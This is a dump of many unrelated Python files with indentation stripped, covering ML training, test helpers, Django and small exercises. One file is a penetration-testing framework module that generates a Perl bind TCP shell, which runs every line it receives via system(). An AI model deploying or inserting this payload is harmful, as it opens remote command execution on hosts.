fsv.set_bandwidth(RBW)
fsv.set_sweep_points(numpoints)
fsv.set_referencelevel(ref_level)
### SETTING UP DATA FILE
data_file_name = raw_input('Enter name of data file: ')
data=qt.Data(name=data_file_name)
data.add_coordinate('counter', units=' ')
data.add_coordinate('Frequency', units='Hz')
data.add_value('PSD', units = 'dBm')
in_meta = [center_frequency - span/2, center_frequency + span/2, numpoints, 'Frequency (Hz)']
out_meta = [1, 0, trs,'Counter']
for i in np.arange(trs):
fsv.run_single()
trace= fsv.get_data()
dummy = np.linspace(i, i, numpoints)
data.add_data_point(dummy, trace[0], trace[1])
data.metagen2D(in_meta, out_meta)
data.close_file()
|
nilq/baby-python
|
python
|
"""
This script is used to develop a baseline policy using only the observed patient data via Behavior Cloning.
This baseline policy is then used to truncate and guide evaluation of policies learned using dBCQ. It should only need to be
run once for each unique cohort that one looks to learn a better treatment policy for.
The patient cohort used and evaluated in the study this code was built for is defined at: https://github.com/microsoft/mimic_sepsis
============================================================================================================================
This code is provided under the MIT License and is meant to be helpful, but WITHOUT ANY WARRANTY;
November 2020 by Taylor Killian and Haoran Zhang; University of Toronto + Vector Institute
============================================================================================================================
Notes:
"""
# IMPORTS
import argparse
import os
import sys
import numpy as np
import torch
import torch.nn as nn
from torch.utils.data import TensorDataset, DataLoader
from dqn_utils import BehaviorCloning
from utils import prepare_bc_data
def run(BC_network, train_dataloader, val_dataloader, num_epochs, storage_dir, loss_func, dem_context, device):
# Construct training and validation loops
validation_losses = []
training_losses = []
eval_frequency = 100
for i_epoch in range(num_epochs):
train_loss = BC_network.train_epoch(train_dataloader, dem_context)
training_losses.append(train_loss)
if i_epoch % eval_frequency == 0:
eval_errors = []
BC_network.model.eval()
with torch.no_grad():
for dem, ob, ac, l, t, scores, _, _ in val_dataloader:
val_state, val_action = prepare_bc_data(dem, ob, ac, l, t, dem_context)
val_state = val_state.to(torch.device(device))
val_action = val_action.to(torch.device(device))
pred_actions = BC_network.model(val_state)
try:
eval_loss = loss_func(pred_actions, val_action.flatten())
eval_errors.append(eval_loss.item())
except:
print("LOL ERRORS")
mean_val_loss = np.mean(eval_errors)
validation_losses.append(mean_val_loss)
np.save(storage_dir+'validation_losses.npy', validation_losses)
np.save(storage_dir+'training_losses.npy', training_losses)
print(f"Training iterations: {i_epoch}, Validation Loss: {mean_val_loss}")
# Save off and store trained BC model
if dem_context:
torch.save(BC_network.model.state_dict(), storage_dir+'BC_model.pt')
else:
torch.save(BC_network.model.state_dict(), storage_dir+'BC_model.pt')
BC_network.model.train()
print("Finished training Behavior Cloning model")
print('+='*30)
if __name__ == '__main__':
# Define input arguments and parameters
parser = argparse.ArgumentParser()
parser.add_argument('--demographics', dest='dem_context', default=False, action='store_true')
parser.add_argument('--num_nodes', dest='num_nodes', default=256, type=int)
parser.add_argument('--learning_rate', dest='learning_rate', default=3e-5, type=float)
parser.add_argument('--batch_size', dest='batch_size', default=128, type=int)
parser.add_argument('--num_epochs', dest='num_epochs', default=500, type=int)
parser.add_argument('--weight_decay', dest='weight_decay', default=0.1, type=float)
parser.add_argument('--optimizer_type', dest='optim_type', default='adam', type=str)
parser.add_argument('--device', dest='device', default='cuda', type=str)
parser.add_argument('--num_actions', dest='num_actions', default=25, type=int)
parser.add_argument('--train_data_file', dest='train_data_file',
default='/home/yong/reinforcement-learning-for-sepsis/data/train_set_tuples', type=str)
parser.add_argument('--val_data_file', dest='val_data_file',
default='/home/yong/reinforcement-learning-for-sepsis/data/val_set_tuples', type=str)
parser.add_argument('--storage_dir', dest='storage_dir', default='/home/yong/reinforcement-learning-for-sepsis/test/', type=str)
args = parser.parse_args()
device = torch.device(args.device)
input_dim = 38 if args.dem_context else 33
num_actions = args.num_actions
train_data_file = args.train_data_file
val_data_file = args.val_data_file
minibatch_size = args.batch_size
storage_dir = args.storage_dir
train_demog, train_states, train_interventions, train_lengths, train_times, acuities, rewards = torch.load(train_data_file)
train_idx = torch.arange(train_demog.shape[0])
train_dataset = TensorDataset(train_demog, train_states, train_interventions,train_lengths,train_times, acuities, rewards, train_idx)
train_loader = DataLoader(train_dataset, batch_size= minibatch_size, shuffle=True)
val_demog, val_states, val_interventions, val_lengths, val_times, val_acuities, val_rewards = torch.load(val_data_file)
val_idx = torch.arange(val_demog.shape[0])
val_dataset = TensorDataset(val_demog, val_states, val_interventions, val_lengths, val_times, val_acuities, val_rewards, val_idx)
val_loader = DataLoader(val_dataset, batch_size=minibatch_size, shuffle=False)
if not os.path.exists(storage_dir):
os.mkdir(storage_dir)
# Initialize the BC network
BC_network = BehaviorCloning(input_dim, num_actions, args.num_nodes, args.learning_rate, args.weight_decay, args.optim_type, device)
loss_func = nn.CrossEntropyLoss()
run(BC_network, train_loader, val_loader, args.num_epochs, storage_dir, loss_func, args.dem_context, device)
|
nilq/baby-python
|
python
|
from twisted.internet.defer import inlineCallbacks
from zope.interface import implements
from vumi.dispatchers.base import BaseDispatchWorker
from vumi.middleware import MiddlewareStack
from vumi.tests.helpers import (
MessageHelper, PersistenceHelper, WorkerHelper, MessageDispatchHelper,
generate_proxies, IHelper,
)
class DummyDispatcher(BaseDispatchWorker):
class DummyPublisher(object):
def __init__(self):
self.msgs = []
def publish_message(self, msg):
self.msgs.append(msg)
def clear(self):
self.msgs[:] = []
def __init__(self, config):
self.transport_publisher = {}
self.transport_names = config.get('transport_names', [])
for transport in self.transport_names:
self.transport_publisher[transport] = self.DummyPublisher()
self.exposed_publisher = {}
self.exposed_event_publisher = {}
self.exposed_names = config.get('exposed_names', [])
for exposed in self.exposed_names:
self.exposed_publisher[exposed] = self.DummyPublisher()
self.exposed_event_publisher[exposed] = self.DummyPublisher()
self._middlewares = MiddlewareStack([])
class DispatcherHelper(object):
"""
Test helper for dispatcher workers.
This helper construct and wraps several lower-level helpers and provides
higher-level functionality for dispatcher tests.
:param dispatcher_class:
The worker class for the dispatcher being tested.
:param bool use_riak:
Set to ``True`` if the test requires Riak. This is passed to the
underlying :class:`~vumi.tests.helpers.PersistenceHelper`.
:param \**msg_helper_args:
All other keyword params are passed to the underlying
:class:`~vumi.tests.helpers.MessageHelper`.
"""
implements(IHelper)
def __init__(self, dispatcher_class, use_riak=False, **msg_helper_args):
self.dispatcher_class = dispatcher_class
self.worker_helper = WorkerHelper()
self.persistence_helper = PersistenceHelper(use_riak=use_riak)
self.msg_helper = MessageHelper(**msg_helper_args)
self.dispatch_helper = MessageDispatchHelper(
self.msg_helper, self.worker_helper)
# Proxy methods from our helpers.
generate_proxies(self, self.msg_helper)
generate_proxies(self, self.worker_helper)
generate_proxies(self, self.dispatch_helper)
def setup(self):
self.persistence_helper.setup()
self.worker_helper.setup()
@inlineCallbacks
def cleanup(self):
yield self.worker_helper.cleanup()
yield self.persistence_helper.cleanup()
def get_dispatcher(self, config, cls=None, start=True):
"""
Get an instance of a dispatcher class.
:param dict config: Config dict.
:param cls:
The transport class to instantiate. Defaults to
:attr:`dispatcher_class`
:param bool start:
``True`` to start the dispatcher (default), ``False`` otherwise.
"""
if cls is None:
cls = self.dispatcher_class
config = self.persistence_helper.mk_config(config)
return self.get_worker(cls, config, start)
def get_connector_helper(self, connector_name):
"""
Construct a :class:`~DispatcherConnectorHelper` for the provided
``connector_name``.
"""
return DispatcherConnectorHelper(self, connector_name)
class DispatcherConnectorHelper(object):
"""
Subset of :class:`~vumi.tests.helpers.WorkerHelper` and
:class:`~vumi.tests.helpers.MessageDispatchHelper` functionality for a
specific connector. This should only be created with
:meth:`DispatcherHelper.get_connector_helper`.
"""
def __init__(self, dispatcher_helper, connector_name):
self.msg_helper = dispatcher_helper.msg_helper
self.worker_helper = WorkerHelper(
connector_name, dispatcher_helper.worker_helper.broker)
self.dispatch_helper = MessageDispatchHelper(
self.msg_helper, self.worker_helper)
generate_proxies(self, self.worker_helper)
generate_proxies(self, self.dispatch_helper)
# We don't want to be able to make workers with this helper.
del self.get_worker
del self.cleanup_worker
|
nilq/baby-python
|
python
|
test_cases = int(input().strip())
for t in range(1, test_cases + 1):
s = input().strip()
stack = []
bracket = {'}': '{', ')': '('}
result = 1
for letter in s:
if letter == '{' or letter == '(':
stack.append(letter)
elif letter == '}' or letter == ')':
if not stack or stack[-1] != bracket.get(letter):
result = 0
break
else:
stack.pop()
if stack:
result = 0
print('#{} {}'.format(t, result))
|
nilq/baby-python
|
python
|
from typing import Dict, List, Union
from icolos.core.containers.compound import Compound
from icolos.core.containers.perturbation_map import Edge
from icolos.core.workflow_steps.pmx.base import StepPMXBase
from pydantic import BaseModel
from icolos.utils.enums.program_parameters import (
GromacsEnum,
StepPMXEnum,
)
from icolos.utils.enums.step_enums import StepGromacsEnum
from icolos.utils.execute_external.pmx import PMXExecutor
from icolos.utils.general.parallelization import SubtaskContainer
import os
_PSE = StepPMXEnum()
_SGE = StepGromacsEnum()
_GE = GromacsEnum()
class StepPMXPrepareSimulations(StepPMXBase, BaseModel):
"""
Prepare the tpr file for either equilibration or production simulations
"""
def __init__(self, **data):
super().__init__(**data)
self._initialize_backend(executor=PMXExecutor)
def execute(self):
if self.run_type == _PSE.RBFE:
edges = [e.get_edge_id() for e in self.get_edges()]
elif self.run_type == _PSE.ABFE:
edges = [c.get_index_string() for c in self.get_compounds()]
self.execution.parallelization.max_length_sublists = 1
self._subtask_container = SubtaskContainer(
max_tries=self.execution.failure_policy.n_tries
)
self._subtask_container.load_data(edges)
self._execute_pmx_step_parallel(
run_func=self.prepare_simulation,
step_id="pmx prepare_simulations",
result_checker=self._check_result,
)
def prepare_simulation(self, jobs: List[Union[Edge, Compound]]):
# define some constants that depend on whether this is rbfe/abfe
# for abfe, edge refers to the ligand index
# mdp_path = os.path.join(self.work_dir, "input/mdp")
sim_type = self.settings.additional[_PSE.SIM_TYPE]
# FIXME: how do we get the replicas for abfe jobs without requiring input every time? inspect the workdir?
replicas = (
self.get_perturbation_map().replicas
if self.get_perturbation_map() is not None
else 1
)
for edge in jobs:
for state in self.states:
for r in range(1, replicas + 1):
for wp in self.therm_cycle_branches:
toppath = self._get_specific_path(
workPath=self.work_dir, edge=edge, wp=wp
)
# dir for the current sim type
simpath = self._get_specific_path(
workPath=self.work_dir,
edge=edge,
wp=wp,
state=state,
r=r,
sim=sim_type,
)
# dir for the previous sim type, from which we get confout.gro
prev_type = self._get_previous_sim_type(sim_type)
empath = self._get_specific_path(
workPath=self.work_dir,
edge=edge,
wp=wp,
state=state,
r=r,
sim=prev_type,
)
self._prepare_single_tpr(
simpath, toppath, state, sim_type, empath
)
def _get_previous_sim_type(self, sim_type: str):
"""
Works out where to get starting structure from based on the current run and simulation type
"""
if self.get_additional_setting(_PSE.PREV_STEP) is not None:
return self.get_additional_setting(_PSE.PREV_STEP)
elif self.run_type == _PSE.RBFE:
if sim_type == "nvt":
return "em"
elif sim_type == "eq":
return "nvt"
elif self.run_type == _PSE.ABFE:
if sim_type in ("em", "nvt"):
return "em"
elif sim_type == "npt":
return "nvt"
elif sim_type == "eq":
return "npt"
def _check_result(self, batch: List[List[str]]) -> List[List[bool]]:
"""
Look in each hybridStrTop dir and check the output pdb files exist for the edges
"""
sim_type = self.settings.additional[_PSE.SIM_TYPE]
output_files = [
f"ligand/stateA/run1/{sim_type}/tpr.tpr",
f"ligand/stateB/run1/{sim_type}/tpr.tpr",
f"complex/stateA/run1/{sim_type}/tpr.tpr",
f"complex/stateB/run1/{sim_type}/tpr.tpr",
]
results = []
for subjob in batch:
subjob_results = []
for job in subjob:
subjob_results.append(
all(
[
os.path.isfile(os.path.join(self.work_dir, job, f))
for f in output_files
]
)
)
results.append(subjob_results)
return results
|
nilq/baby-python
|
python
|
# Generated by Django 3.2.9 on 2022-02-06 17:56
import ckeditor.fields
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('pet', '0001_initial'),
]
operations = [
migrations.AlterField(
model_name='pet',
name='explanation',
field=ckeditor.fields.RichTextField(verbose_name='Açıklama'),
),
migrations.AlterField(
model_name='pet',
name='pet_image',
field=models.FileField(blank=True, null=True, upload_to='', verbose_name='Fotoğraf Yükle'),
),
]
|
nilq/baby-python
|
python
|
import cv2
import numpy as np
import matplotlib.pyplot as plt
# Gabor
def Gabor_filter(K_size=111, Sigma=10, Gamma=1.2, Lambda=10, Psi=0, angle=0):
# get half size
d = K_size // 2
# prepare kernel
gabor = np.zeros((K_size, K_size), dtype=np.float32)
# each value
for y in range(K_size):
for x in range(K_size):
# distance from center
px = x - d
py = y - d
# degree -> radian
theta = angle / 180. * np.pi
# get kernel x
_x = np.cos(theta) * px + np.sin(theta) * py
# get kernel y
_y = -np.sin(theta) * px + np.cos(theta) * py
# fill kernel
gabor[y, x] = np.exp(-(_x**2 + Gamma**2 * _y**2) / (2 * Sigma**2)) * np.cos(2*np.pi*_x/Lambda + Psi)
# kernel normalization
gabor /= np.sum(np.abs(gabor))
return gabor
# get gabor kernel
gabor = Gabor_filter(K_size=111, Sigma=10, Gamma=1.2, Lambda=10, Psi=0, angle=0)
# Visualize
# normalize to [0, 255]
out = gabor - np.min(gabor)
out /= np.max(out)
out *= 255
out = out.astype(np.uint8)
#cv2.imwrite("out.jpg", out)
cv2.imshow("result", out)
cv2.waitKey(0)
cv2.destroyAllWindows()
|
nilq/baby-python
|
python
|
from aoc21.days.day04 import Board, BoardScore
NUMBERS = [
7,
4,
9,
5,
11,
17,
23,
2,
0,
14,
21,
24,
10,
16,
13,
6,
25,
12,
22,
18,
20,
8,
19,
3,
26,
1,
]
BOARD = Board(
[
22,
13,
17,
11,
0,
8,
2,
23,
4,
24,
21,
9,
14,
16,
7,
6,
10,
3,
18,
5,
1,
12,
20,
15,
19,
]
)
def test_board_row():
assert list(BOARD.row(0)) == [22, 13, 17, 11, 0]
assert list(BOARD.row(2)) == [21, 9, 14, 16, 7]
assert list(BOARD.row(4)) == [1, 12, 20, 15, 19]
def test_board_column():
assert list(BOARD.column(0)) == [22, 8, 21, 6, 1]
assert list(BOARD.column(2)) == [17, 23, 14, 3, 20]
assert list(BOARD.column(4)) == [0, 24, 7, 5, 19]
def test_board_draw_until_complete():
final_number = 16
sum_remaining = 137
number_index = 13
assert BOARD.draw_until_complete(NUMBERS) == BoardScore(
number_index, final_number * sum_remaining
)
|
nilq/baby-python
|
python
|
from maza.core.exploit.option import OptEncoder
from maza.core.exploit.payloads import (
GenericPayload,
Architectures,
BindTCPPayloadMixin,
)
from maza.modules.encoders.perl.base64 import Encoder
class Payload(BindTCPPayloadMixin, GenericPayload):
__info__ = {
"name": "Perl Bind TCP",
"description": "Creates interactive tcp bind shell by using perl.",
"authors": (
"Marcin Bury <marcin[at]threat9.com>", # routersploit module
),
}
architecture = Architectures.PERL
encoder = OptEncoder(Encoder(), "Encoder")
def generate(self):
return (
"use IO;foreach my $key(keys %ENV){" +
"if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(LocalPort," +
str(self.rport) +
",Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);while(<>){" +
"if($_=~ /(.*)/){system $1;}};"
)
|
nilq/baby-python
|
python
|
"""
Flask-AntiJs
-------------
Flask-AntiJs is a Flask extension the protects endpoints against
'undefined' javascript values by checking the URL, query params and payloads
and return a 400 (Bad request) response.
"""
from setuptools import setup
version = "0.0.2"
setup(
name='Flask-AntiJs',
version=version,
url='https://github.com/michaelbukachi/flask-antijs',
license='BSD',
author='Michael Bukachi',
author_email='michaelbukachi@gmail.com',
description='An extension to check \'undefined\' JS values',
long_description=__doc__,
py_modules=['flask_antijs'],
platforms='any',
install_requires=['Flask'],
setup_requires=['pytest-runner', 'wheel', 'twine'],
tests_require=['pytest', 'pytest-cov'],
keywords='flask antijs',
classifiers=[
'Environment :: Web Environment',
'Intended Audience :: Developers',
'License :: OSI Approved :: BSD License',
'Operating System :: OS Independent',
'Programming Language :: Python',
'Topic :: Internet :: WWW/HTTP :: Dynamic Content',
'Topic :: Software Development :: Libraries :: Python Modules'
]
)
|
nilq/baby-python
|
python
|
import configparser
import json
import os
import subprocess
import sys
import requests
import betamax
from betamax_serializers.pretty_json import PrettyJSONSerializer
import pytest
ABS_PATH = os.path.abspath(os.path.dirname(__file__))
FIXTURES_PATH = ABS_PATH + '/fixtures'
CASSETTES_PATH = FIXTURES_PATH + '/cassettes'
CONFIGS_PATH = FIXTURES_PATH + '/configs'
DATA_PATH = FIXTURES_PATH + '/data'
DUMMY_TOKEN = 'thisIsNotRealToken'
BAD_TOKEN = 'thisIsBadToken'
sys.path.insert(0, ABS_PATH + '/../')
def decode_if_bytes(obj, encoding='utf-8'):
if isinstance(obj, bytes):
return obj.decode(encoding)
return obj
class MissingConfigError(Exception):
def __init__(self, *args):
super().__init__(*args)
class GitHubMatcher(betamax.BaseMatcher):
name = 'mipyt-github'
@staticmethod
def _has_correct_token(request, recorded_request):
# GitHub token should be in headers
header_token = request.headers.get('Authorization', '')
correct_token = recorded_request['headers']['Authorization']
correct_token = correct_token.replace('<TOKEN>', DUMMY_TOKEN)
correct_token = correct_token.replace('<BAD_TOKEN>', BAD_TOKEN)
return header_token == correct_token
@staticmethod
def _has_user_agent(request):
# GitHub requires User-Agent, requests should do it automatically
return request.headers.get('User-Agent', None) is not None
@staticmethod
def _match_body_json(request, recorded_request):
if request.body is None:
# Tested body is empty so should the recorded
return recorded_request['body']['string'] == ''
if recorded_request['body']['string'] == '':
# Recorded body is empty but tested is not
return False
data1 = json.loads(recorded_request['body']['string'])
data2 = json.loads(decode_if_bytes(request.body))
# Compare JSON data from bodies
return data1 == data2
def match(self, request, recorded_request):
return self._has_correct_token(request, recorded_request) and \
self._has_user_agent(request) and \
self._match_body_json(request, recorded_request)
betamax.Betamax.register_request_matcher(GitHubMatcher)
betamax.Betamax.register_serializer(PrettyJSONSerializer)
with betamax.Betamax.configure() as config:
config.cassette_library_dir = CASSETTES_PATH
config.default_cassette_options['serialize_with'] = 'prettyjson'
config.default_cassette_options['match_requests_on'] = [
'method',
'uri',
'mipyt-github'
]
token = os.environ.get('GITHUB_TOKEN', DUMMY_TOKEN)
if 'GITHUB_TOKEN' in os.environ:
config.default_cassette_options['record_mode'] = 'all'
else:
config.default_cassette_options['record_mode'] = 'none'
config.define_cassette_placeholder('<TOKEN>', token)
config.define_cassette_placeholder('<BAD_TOKEN>', BAD_TOKEN)
@pytest.fixture()
def github_maker(betamax_session):
from labelord.github import GitHub
def inner_maker(github_token):
return GitHub(github_token, session=betamax_session)
return inner_maker
@pytest.fixture()
def github_token():
return os.environ.get('GITHUB_TOKEN', DUMMY_TOKEN)
@pytest.fixture()
def github(github_maker, github_token):
return github_maker(github_token)
@pytest.fixture()
def github_bad_token(github_maker):
return github_maker(BAD_TOKEN)
class Utils:
BETAMAX_ERRORS = 0
@staticmethod
def config(name):
return CONFIGS_PATH + '/' + name + '.cfg'
@staticmethod
def load_data(name):
with open(DATA_PATH + '/' + name + '.json') as f:
return f.read()
@staticmethod
def create_auth(username, password):
import base64
return {
'Authorization': 'Basic ' + base64.b64encode(
bytes(username + ":" + password, 'ascii')
).decode('ascii')
}
@classmethod
def monkeypatch_betamaxerror(cls, monkeypatch):
cls.BETAMAX_ERRORS = 0
def monkey_init(self, message):
super(betamax.BetamaxError, self).__init__(message)
cls.BETAMAX_ERRORS += 1
monkeypatch.setattr(betamax.BetamaxError, '__init__', monkey_init)
@pytest.fixture
def utils():
return Utils()
class ModuleUtils:
def __init__(self, cfg, tmpdir, sh):
self.cfg = cfg
self.tmpdir = tmpdir
self.sh = sh
@property
def git(self):
return self.cfg['commands']['git']
@property
def create_venv(self):
return self.cfg['commands']['create_venv']
@property
def python(self):
return str(self.tmpdir.join(self.cfg['commands']['python']))
@property
def pytest(self):
return '{} -m {}'.format(self.python, self.cfg['commands']['pytest'])
@property
def pip(self):
return '{} -m {}'.format(self.python, self.cfg['commands']['pip'])
@property
def pip_testpypi(self):
return '{} -m {}'.format(self.python, self.cfg['commands']['pip_testpypi'])
@staticmethod
def ssh_github(reposlug):
return 'git@github.com:{}.git'.format(reposlug)
@staticmethod
def https_github(reposlug):
return 'https://github.com/{}.git'.format(reposlug)
@property
def repo_ssh(self):
return self.cfg['vars']['repo_full']
@property
def repo_branch(self):
return self.cfg['vars']['branch']
def get_set(self, set_name):
return frozenset(self.cfg.get('sets', set_name, fallback='').split(' '))
def create_fresh_venv(self):
result = self.sh(self.create_venv)
assert result.was_successful, \
'Could not create virtualenv for Python: {}'.format(result.stderr)
def clone_repo(self, repo_dir):
result = self.sh(self.git, 'clone', '-b', self.repo_branch, self.repo_ssh, repo_dir)
assert result.was_successful, \
'Could not clone the repository {}: {}'.format(self.repo_ssh, result.stderr)
def clone_repo_with_fresh_venv(self, repo_dir):
self.create_fresh_venv()
self.clone_repo(repo_dir)
class ShellExecutionResult:
def __init__(self, stdout, stderr, return_code):
self.stdout = stdout
self.stderr = stderr
self.return_code = return_code
@property
def was_successful(self):
return self.return_code == 0
@property
def outerr(self):
return '{}\n{}\n{}'.format(self.stdout, '-'*80, self.stderr)
@pytest.fixture()
def config():
ext_vars = {
'LABELORD_BRANCH': 'master'
}
ext_vars.update(os.environ)
cfg = configparser.ConfigParser(ext_vars)
cfg.read(CONFIGS_PATH + '/test_config.cfg')
if not cfg.has_option('vars', 'ctu_username'):
raise MissingConfigError(
'CTU_USERNAME env var is missing!'
)
if not cfg.has_option('vars', 'repo_full'):
raise MissingConfigError(
'LABELORD_REPO env var is missing!'
)
return cfg
@pytest.fixture()
def sh():
def shell_executor(command, *args):
p = subprocess.Popen(
' '.join([command, *args]),
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
shell=True,
universal_newlines=True
)
stdout, stderr = p.communicate()
return ShellExecutionResult(stdout, stderr, p.returncode)
return shell_executor
@pytest.fixture()
def moduleutils(config, tmpdir, sh):
return ModuleUtils(config, tmpdir, sh)
class LabelordInvocation:
def __init__(self, runner, result, session):
self.runner = runner
self.result = result
self.session = session
@pytest.fixture
def invoker(betamax_session):
from click.testing import CliRunner
from flexmock import flexmock
from labelord import cli
def invoker_inner(*args, isolated=False, session_expectations=None):
session_mock = flexmock(betamax_session or requests.Session())
if os.environ.get('LABELORD_SESSION_SPY', '').lower() != 'off' and \
session_expectations is not None:
for what, count in session_expectations.items():
session_mock.should_call(what).times(count)
runner = CliRunner()
args = [a for a in args if a is not None]
if isolated:
with runner.isolated_filesystem():
result = runner.invoke(cli, args,
obj={'session': session_mock})
else:
result = runner.invoke(cli, args,
obj={'session': session_mock})
return LabelordInvocation(runner, result, session_mock)
return invoker_inner
@pytest.fixture
def invoker_norec():
return invoker(None)
@pytest.fixture
def client_maker(betamax_session, utils, monkeypatch):
def inner_maker(config, own_config_path=False,
session_expectations=None):
from flexmock import flexmock
if not own_config_path:
config = Utils.config(config)
session_mock = flexmock(betamax_session or requests.Session())
# MonkeyPatch BetamaxError
utils.monkeypatch_betamaxerror(monkeypatch)
if os.environ.get('LABELORD_SESSION_SPY', '').lower() != 'off' and \
session_expectations is not None:
for what, count in session_expectations.items():
session_mock.should_call(what).times(count)
os.environ['LABELORD_CONFIG'] = config
from labelord import app
app.inject_session(betamax_session)
app.reload_config()
client = app.test_client()
return client
yield inner_maker
# Check number of created BetamaxErrors
# You should catch only your/specific exceptions
try:
assert utils.BETAMAX_ERRORS == 0, \
'There were some BetamaxErrors (although you might ' \
'have caught them)!'
finally:
Utils.BETAMAX_ERRORS = 0
|
nilq/baby-python
|
python
|
"""
Solution to Compound Interest Calculator
"""
if __name__ == '__main__':
principal = input('Enter the Principal: ')
# type checking here
try:
principal = float(principal)
except ValueError:
print('Invalid principal Amount')
exit(0)
rate = input('Enter the rate (%%): ')
# type checking here
try:
rate = float(rate)
except ValueError:
print('Invalid rate Amount')
exit(0)
years = input('Enter the time in years: ')
# type checking here
try:
years = int(years)
except ValueError:
print('Invalid number of years')
exit(0)
# wanna avoid underflow errors here
if principal <= 0 or rate <= 0 or years <= 0:
print('Invalid principal, rate or number of years')
exit(0)
year = 1
while year <= years:
interest = (principal * rate) / 100
print('\nYear {year}'.format(year=year))
print('Compound Interest: {interest}'.format(interest=interest))
principal += interest
print('New Principal: {principal}'.format(principal=principal))
year += 1
print('')
|
nilq/baby-python
|
python
|
# encoding: utf-8
"""
Core properties part, corresponds to ``/docProps/core.xml`` part in package.
"""
from __future__ import (
absolute_import, division, print_function, unicode_literals
)
from datetime import datetime
from ..constants import CONTENT_TYPE as CT
from ..extendedprops import ExtendedProperties
from ...oxml.extendedprops import CT_ExtendedProperties
from ..packuri import PackURI
from ..part import XmlPart
class ExtendedPropertiesPart(XmlPart):
"""
Corresponds to part named ``/docProps/app.xml``, containing the extended
document properties for this document package.
"""
@classmethod
def default(cls, package):
"""
Return a new |CorePropertiesPart| object initialized with default
values for its base properties.
"""
extended_properties_part = cls._new(package)
extended_properties = extended_properties_part.extended_properties
extended_properties.template = 'Normal.dotm'
extended_properties.total_time = 0
extended_properties.pages = 1
extended_properties.words = 0
extended_properties.characters = 0
extended_properties.application = "python-docx"
extended_properties.doc_security = 0
extended_properties.lines = 1
extended_properties.paragraphs = 1
extended_properties.scale_crop = False
# TODO: heading_pairs and titles_of_parts
extended_properties.manager = "The Boss"
extended_properties.company = ""
extended_properties.links_up_to_date = False
extended_properties.characters_with_spaces = 0
extended_properties.shared_doc = False
extended_properties.hyperlink_base = ""
extended_properties.hyperlinks_changed = False
extended_properties.app_version = "0.8.10"
return extended_properties_part
@property
def extended_properties(self):
"""
A |ExtendedProperties| object providing read/write access to the extended
properties contained in this extended properties part.
"""
return ExtendedProperties(self.element)
@classmethod
def _new(cls, package):
partname = PackURI('/docProps/app.xml')
content_type = CT.OFC_EXTENDED_PROPERTIES
extendedProperties = CT_ExtendedProperties.new()
return ExtendedPropertiesPart(
partname, content_type, extendedProperties, package
)
|
nilq/baby-python
|
python
|
import pytest
from django.core.exceptions import ValidationError
from django.urls import reverse
from django.utils import timezone
from vms import models
def test_approve(client_admin_factory, employee_factory):
"""
Approving an employee should save the approval information and mark
the employee as active.
"""
employee = employee_factory(is_active=False)
admin = client_admin_factory(client=employee.client)
employee.approve(admin)
employee.refresh_from_db()
assert employee.approved_by == admin
assert employee.is_active
assert employee.time_approved is not None
def test_approve_already_approved(client_admin_factory, employee_factory):
"""
If the employee is already approved, no action should be taken.
"""
admin = client_admin_factory()
time = timezone.now()
employee = employee_factory(
approved_by=admin,
client=admin.client,
is_active=True,
time_approved=time,
)
employee.approve(admin)
employee.refresh_from_db()
assert employee.approved_by == admin
assert employee.time_approved == time
def test_clock_in_url(employee_factory):
"""
This property should return the URL of the view used to clock in an
employee.
"""
employee = employee_factory()
expected = reverse(
'vms:clock-in',
kwargs={
'client_slug': employee.client.slug,
'employee_id': employee.employee_id,
},
)
assert employee.clock_in_url == expected
def test_clock_out_url(employee_factory):
"""
This property should return the URL of the view used to clock out an
employee.
"""
employee = employee_factory()
expected = reverse(
'vms:clock-out',
kwargs={
'client_slug': employee.client.slug,
'employee_id': employee.employee_id,
},
)
assert employee.clock_out_url == expected
def test_get_absolute_url(employee_factory):
"""
This property should return the URL of the view used to see
employee dashboard.
"""
employee = employee_factory()
expected = reverse(
'vms:employee-dash',
kwargs={
'client_slug': employee.client.slug,
'employee_id': employee.employee_id,
},
)
assert employee.get_absolute_url() == expected
def test_save_new_employee(
client_factory,
staffing_agency_factory,
user_factory):
"""
Saving a new employee should generate a unique ID for the employee.
"""
employee = models.Employee(
client=client_factory(),
staffing_agency=staffing_agency_factory(),
user=user_factory()
)
employee.save()
assert employee.employee_id is not None
def test_save_old_employee(employee_factory):
"""
Saving an existing employee with an ID should not generate a new ID.
"""
emp = employee_factory()
old_id = emp.employee_id
emp.save()
assert emp.employee_id == old_id
def test_string_conversion(employee_factory):
"""
Converting an employee to a string should return a string with the
employee's name and staffing agency.
"""
employee = employee_factory()
expected = f'{employee.user.name} (Hired by {employee.staffing_agency})'
assert str(employee) == expected
def test_validate_unique_excluded(employee_factory):
"""
If an employee has a duplicate ID but the field is excluded from the
check, the validation should pass.
"""
emp1 = employee_factory()
emp2 = employee_factory(client=emp1.client)
emp1.employee_id = emp2.employee_id
emp1.validate_unique(exclude=['employee_id'])
def test_validate_unique_new_employee_duplicate_id(
employee_factory,
user_factory):
"""
If there is already an employee working for the same client with the
same ID, the unique validation should fail.
"""
old_emp = employee_factory()
new_emp = models.Employee(
client=old_emp.client,
employee_id=old_emp.employee_id,
staffing_agency=old_emp.staffing_agency,
user=user_factory(),
)
with pytest.raises(ValidationError):
new_emp.validate_unique()
def test_validate_unique_new_employee_unique_id(
client_factory,
employee_factory,
user_factory):
"""
If two employees have the same ID but work for different clients,
the validation should succeed.
"""
old_emp = employee_factory()
new_emp = models.Employee(
client=client_factory(),
employee_id=old_emp.employee_id,
staffing_agency=old_emp.staffing_agency,
user=user_factory(),
)
new_emp.validate_unique()
def test_validate_unique_old_employee_duplicate_id(employee_factory):
"""
If an existing employee's ID is changed to match the ID of another
employee working for the same client, the validation should fail.
"""
emp1 = employee_factory()
emp2 = employee_factory(client=emp1.client)
emp1.employee_id = emp2.employee_id
with pytest.raises(ValidationError):
emp1.validate_unique()
def test_validate_unique_old_employee_unique_id(employee_factory):
"""
An existing employee with a unique ID should pass validation.
"""
emp = employee_factory()
emp.validate_unique()
|
nilq/baby-python
|
python
|
class Solution:
def maximumCandies(self, candies: List[int], k: int) -> int:
l = 1
r = sum(candies) // k
def numChildren(m: int) -> bool:
return sum(c // m for c in candies)
while l < r:
m = (l + r) // 2
if numChildren(m) < k:
r = m
else:
l = m + 1
return l if numChildren(l) >= k else l - 1
|
nilq/baby-python
|
python
|
# Generated from grammar/Evans.g4 by ANTLR 4.7.2
from antlr4 import *
if __name__ is not None and "." in __name__:
